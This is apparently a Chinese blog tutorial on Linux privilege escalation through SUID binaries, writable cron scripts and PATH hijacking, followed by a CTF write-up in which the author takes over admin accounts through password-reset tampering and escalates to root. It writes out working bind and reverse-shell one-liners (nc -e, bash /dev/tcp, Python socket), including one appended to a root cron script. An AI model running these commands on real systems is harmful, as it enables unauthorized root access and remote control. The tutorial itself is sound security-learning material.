参考
Linux suid提权
什么是suid
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
linux引入了3个文件来管理用户组:
- /etc/passwd存放用户信息。
- /etc/shadow存放用户密码信息。
- /etc/group存放组信息。
在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
用户信息/etc/passwd每行共有7个字段冒号隔开:
字段1为用户名。
字段2为用户的密码。
字段3为指UID,每个用户都有自己的uid。
字段4为组UID,每个用户都有不同的uid。
字段5为解释说明的字段。
字段6为指用户的根目录。
字段7为指登录shell,用户登录shell,当前为/bin/zsh表示可以登录,/sbin/nologin标识不被授权登录。
如何利用
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。
假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
利用此特性,就可通过suid进行提权。
如何设置suid
利用
1 | chmod u+s filename #设置suid |
可以看见,我们示例的图片由 -rw变为了-rwS,所以就是添加上了suid权限
如何查找suid文件
具有suid权限的二进制可执行文件有:
1 | nmap |
从网上找了几个常见的命令
更多有关suid的可以看GTFOBins
1 | find / -user root -perm -4000 -print 2>/dev/null |
以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么
1 | find / -perm -u=s -type f 2>/dev/null |
利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。
也可以使用sudo -l 列出当前用户可执行的命令
举个例子,我这里用Newstar的靶机演示了
1 | find / -user root -perm -4000 -exec ls -ldb {} \; |
ls一下看看是否设置了suid权限
1 | ls -al /usr/bin/su |
可以看到确实设置了suid权限,而且属主为root,现在我们是不是可以利用我们之前提到的suid可执行二进制文件从而进行提权呢
进行suid提权(这里就记一个find)
这里的前提都是要有suid权限
find
1 | find 具有suid权限的filename -exec whoami \; -quit |
还有一种差不多的提权方法
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
广播shell
在靶机上:
1 | find user -exec nc -lvp 4444 -e '/bin/sh' \; |
在攻击机上:
1 | nc 靶机ip 4444 |
反弹shell
在靶机上:
1 | find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \; |
在攻击机上:
1 | nc -lvp port |
这里我延申一下,也可以写一个反弹root的shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
这里也可以结合之前的命令
1 | /usr/bin/find 1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; |
一些奇奇怪怪的提权
通过查询历史记录从而获得信息泄露的信息
利用以下命令可以获取
1 | cat ~/.bash_history |
这个命令可以查看当前用户使用过的历史命令
有可能会得到root登录的密码
linux配置错误从而提权
利用linuxprivchecker:https://www.securitysift.com/download/linuxprivchecker.py
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
这两个工具进行查找linux中配置错误的文件
计划任务提权
文件覆盖
计划任务由 crontab 管理,非 root 用户是无法列出 root 用户的计划任务的,但可以列出 /etc 的系统任务,系统任务默认是 root 权限运行的
如果某些定时任务是以 root 身份运行的,但它调用的 脚本/可执行文件 或 日志文件 权限设置不当,被普通用户可修改,那么普通用户就可以在其中插入恶意命令,从而获得 root 权限
常见检查点:
查看定时任务的配置文件:
1
2cat /etc/crontab
ls -l /etc/cron*这些里面的任务很多都是 root 执行的。
列出系统中所有用户的 crontab:
1
ls -l /var/spool/cron/
普通用户一般只能改自己的,但 root 的脚本要重点关注。
检查 cron 调用的脚本/命令是否可写:
1
grep -R "" /etc/cron* 2>/dev/null
然后逐个
ls -l
查看脚本是否对普通用户可写。快速查找所有 root 任务涉及的可写文件:
1
2
3
4
5for file in $(grep -oP '(?<=\s)/[^\s]+' /etc/crontab /etc/cron.*/* 2>/dev/null); do
if [ -w "$file" ]; then
echo "[+] Writable: $file"
fi
done这段脚本会找出计划任务调用的文件,并检查是否对当前用户可写
举一个简单的例子
假设 /etc/crontab
中有这样一行:
1 | * * * * * root /usr/local/bin/backup.sh |
再看文件权限:
1 | ls -l /usr/local/bin/backup.sh |
发现 backup.sh
是 所有用户可写 (777
),那么普通用户就可以这样:
1 | echo "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" >> /usr/local/bin/backup.sh |
然后在攻击机监听:
1 | nc -lvnp 4444 |
下一次 cron 执行时(每分钟),你就会得到一个 root shell
环境变量劫持
原理
cron 任务默认是以 root 身份运行的。
如果在 cron 中没有写绝对路径,而是写了一个命令名,比如:
1
* * * * * root backup
系统会去
$PATH
环境变量指定的路径里依次找backup
这个可执行文件。如果攻击者能控制 PATH(或者 cron 任务执行时 PATH 包含了一个 可写目录,如
/tmp
),就能在那个目录下放一个同名的恶意程序。cron 运行时就会执行我们伪造的程序,从而拿到 root 权限。
检查方法
查看 /etc/crontab 和 /etc/cron.* 文件,看看任务有没有用相对命令(例如
backup
、tar
、python
)而不是绝对路径(如/usr/bin/tar
)。1
2cat /etc/crontab
cat /etc/cron.d/*检查 cron 环境变量设置
在/etc/crontab
中,前几行可能有:1
2SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin如果 PATH 中有一个可写目录(比如
/tmp
),那么就有机会劫持。检测可写目录
1
2
3for dir in $(echo $PATH | tr ":" " "); do
[ -w "$dir" ] && echo "[+] Writable: $dir"
done
举个例子
假设 /etc/crontab
中有:
1 | * * * * * root backup |
同时 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/tmp
这里 /tmp
是所有用户可写的。
攻击步骤:
在
/tmp
下创建一个恶意程序backup
:1
2
3echo '#!/bin/bash' > /tmp/backup
echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' >> /tmp/backup
chmod +x /tmp/backup攻击机监听端口:
1
nc -lvnp 4444
等待 cron 下次运行(每分钟执行一次)。
结果:
root 会执行 /tmp/backup
(因为 PATH 优先级),攻击者就能拿到 root shell
PATH 优先级的原理
当 Linux 执行一个命令时,如果没有写绝对路径(比如直接写
backup
而不是/usr/bin/backup
),系统会按照$PATH
环境变量里的目录顺序依次查找。举个例子:
1 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/tmp如果运行
backup
,查找顺序是:
/usr/local/sbin/backup
/usr/local/bin/backup
/sbin/backup
/bin/backup
/usr/sbin/backup
/usr/bin/backup
/tmp/backup
只要找到第一个匹配的可执行文件,就会立即执行,不会继续找
如何确保执行我们的文件
方法一:利用 PATH 顺序
如果 PATH 中本来就有一个可写目录(例如/tmp
),并且它在真正命令所在目录的 前面,那么只要我们在里面放一个同名的恶意文件,就一定会被优先执行。方法二:修改 PATH
有时候/etc/crontab
或脚本里会直接定义 PATH,比如:1
PATH=/tmp:/usr/bin:/bin
那么
/tmp
会优先。
如果我们能修改调用的脚本(或者配置文件),也能插入一个恶意 PATH。方法三:命令本身就是自定义的
如果 cron 任务里写的是backup
,而系统里本来就没有backup
这个程序,那我们直接在 PATH 可写目录下放一个backup
,cron 就会默认用我们的
[湖湘杯 2021 final]Penetratable
这道题差不多可以当成渗透题目来做
拿到题目网址,先用dirsearch扫一手
1 | Target: http://node4.anna.nssctf.cn:28861/ |
直接访问/phpinfo.php无任何反应,空白页面
先注册一个账号,登录之后发现有修改密码功能,并且通过熊猫头插件扫出来的接口得知存在admin和root用户,直接访问会提示无权限

用bp拦截下该重置密码的请求并将用户名改为admin,密码修改成功
再将名字改为root尝试修改提示无权限
再登录admin账号,直接访问接口/?c=admin&m=updatePass,提示缺少参数
于是查看js文件,搜索updatePass()方法
1 | function updatePass(){ |
补上相关参数后,尝试修改root密码,成功
成功登录root账号,里面有一个查看日志的功能,并可以将该日志文件下载下来
拦截下载请求包,发送到repeater,发现返回包会直接返回文件内容
于是尝试是否有目录遍历漏洞,就访问前面dirsearch扫出来的文件phpinfo.php,成功
将md5序列拿去解密
都明白了之后,直接反弹shell出来
查看根目录发现访问flag文件需要root权限,并且只能读取不能进行其他操作
进行suid提权,首先查看哪些文件有suid权限:find / -perm -u=s -type f 2>/dev/null
其中有/bin/sed我们可以进行利用,问手ai看看如何利用,成功读取flag
还有另外一种方法,如下所示:
1 | www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")' |
SUDO
提权
1 | sudo -l |